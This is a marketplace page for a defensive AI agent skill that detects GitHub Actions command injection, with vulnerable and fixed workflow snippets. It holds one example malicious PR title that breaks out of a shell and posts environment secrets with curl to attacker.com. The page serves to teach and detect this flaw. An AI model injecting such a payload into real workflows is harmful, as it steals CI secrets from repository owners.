Github actions injection

From zakirkun/ice-tea · View interactive version

Github actions injection is an AI agent skill from the GitHub repository zakirkun/ice-tea. Detects GitHub Actions workflow files that interpolate untrusted event data into run steps, enabling CI/CD pipeline injection.

How to use this skill

Skill file

GitHub Actions Command Injection

Overview

GitHub Actions workflows that interpolate ${{ github.event.* }} values directly into run: steps are vulnerable to command injection. A malicious PR title, issue body, or commit message can break out of the shell command and execute arbitrary code in the CI environment, exfiltrating secrets.

Example malicious PR title: title"; env | curl -X POST attacker.com -d @-; echo "

Remediation

Vulnerable:

- run: echo "${{ github.event.issue.title }}"

Safe:

- env:
    ISSUE_TITLE: ${{ github.event.issue.title }}
  run: echo "$ISSUE_TITLE"
Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.